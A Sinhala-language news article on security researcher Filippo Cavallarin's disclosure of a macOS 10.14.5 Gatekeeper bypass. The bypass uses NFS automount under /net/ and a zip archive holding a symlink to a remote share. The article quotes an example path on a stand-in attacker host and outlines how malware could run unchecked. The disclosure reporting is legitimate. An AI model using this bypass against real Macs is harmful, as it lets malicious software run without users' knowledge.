අමායා ටොමන් ආරක්ෂක පර්යේෂක Filippo Cavallarin ඔහුගේ බ්ලොග් අඩවියේ macOS 10.14.5 හි දෝෂය පිළිබඳ අනතුරු ඇඟවීමක් පළ කළේය. මෙය ගේට්ටු මුරකරුගේ ආරක්ෂක පියවරයන් සම්පූර්ණයෙන්ම මග හැරීමේ හැකියාවෙන් සමන්විත වේ. Cavallarin ට අනුව, ඔහු මේ වසරේ පෙබරවාරි මාසයේදී ඇපල් වෙත දෝෂය පෙන්වා දී ඇත, නමුත් නවතම යාවත්කාලීනයේදී සමාගම එය නිවැරදි කළේ නැත.
Gatekeeper යනු Apple විසින් වැඩි දියුණු කරන ලද අතර 2012 දී ප්‍රථම වරට එහි ඩෙස්ක්ටොප් මෙහෙයුම් පද්ධතියට ඇතුළත් කරන ලදී. එය පරිශීලකයාගේ අනුදැනුමකින් සහ අනුමැතියකින් තොරව යෙදුමක් ක්‍රියාත්මක වීම වළක්වන යාන්ත්‍රණයකි. ඔබ යෙදුමක් බාගත කළ පසු, ගේට්කීපර් එහි කේතය ඇපල් විසින් නිසි ලෙස අත්සන් කර ඇත්දැයි බැලීමට ස්වයංක්රීයව පරීක්ෂා කරයි.
එය විය හැකිය ඔබට උනන්දුවක්
ඔහුගේ බ්ලොග් සටහනේ, Cavallarin සටහන් කරන්නේ, Gatekeeper, පෙරනිමියෙන්, බාහිර ගබඩා සහ ජාල කොටස් යන දෙකම ආරක්ෂිත ස්ථාන ලෙස සලකන බවයි. එබැවින් මෙම ඉලක්ක තුළ පවතින ඕනෑම යෙදුමක් ගේට්කීපර් පරීක්ෂාව හරහා යාමකින් තොරව ස්වයංක්රීයව දියත් කළ හැක. පරිශීලකයාගේ අනුදැනුමකින් තොරව අනිෂ්ට මෘදුකාංග දියත් කිරීමට භාවිතා කළ හැක්කේ මෙම විශේෂාංගයයි.
අනවසර ප්‍රවේශයට ඉඩ දෙන එක් අංගයක් වන්නේ ස්වයංක්රීයව සවිකිරීමේ විශේෂාංගය වන අතර, එය "/net/" සමඟ ආරම්භ වන මාර්ගයක් නියම කිරීමෙන් පරිශීලකයින්ට ජාල බෙදාගැනීමක් ස්වයංක්රීයව සවි කිරීමට ඉඩ සලසයි. උදාහරණයක් ලෙස, Cavallarin විසින් "ls /net/evil-attacker.com/sharedfolder/" මාර්ගය උපුටා දක්වයි, එමඟින් මෙහෙයුම් පද්ධතිය "sharefolder" ෆෝල්ඩරයක අන්තර්ගතය දුරස්ථ ස්ථානයකට පූරණය කළ හැකි අතර එය අනිෂ්ට විය හැකිය.
තර්ජනය ක්‍රියාත්මක වන ආකාරය වීඩියෝවෙන් ඔබට නැරඹිය හැකිය:
තවත් සාධකයක් නම්, ස්වයංක්‍රීය මවුන්ට් ශ්‍රිතයට මඟ පෙන්වන විශේෂිත symlink අඩංගු zip සංරක්ෂිතයක් බෙදා ගන්නේ නම්, එය Gatekeeper විසින් පරීක්ෂා නොකරනු ඇත. මේ ආකාරයෙන්, වින්දිතයාට පහසුවෙන් අනිෂ්ට සංරක්ෂිතය බාගත කර එය විසන්ධි කළ හැකිය, පරිශීලකයාගේ අනුදැනුමකින් තොරව Mac මත ඕනෑම මෘදුකාංගයක් ප්‍රායෝගිකව ක්‍රියාත්මක කිරීමට ප්‍රහාරකයාට ඉඩ සලසයි. පෙරනිමියෙන් ඇතැම් දිගු සඟවන Finder ද මෙම අවදානමේ එහි කොටස ඇත.
Cavallarin ඔහුගේ බ්ලොග් අඩවියේ සඳහන් කර ඇත්තේ මෙම වසරේ පෙබරවාරි 22 වන දින ඇපල් විසින් macOS මෙහෙයුම් පද්ධතියේ අවදානම පිළිබඳව අවධානය යොමු කළ බවයි. නමුත් මැයි මැද භාගයේදී, Apple Cavallarin සමඟ සන්නිවේදනය නතර කළ නිසා Cavallarin තීරණය කළා මුළු දේම ප්රසිද්ධ කිරීමට.
මූලාශ්රය: FCVL
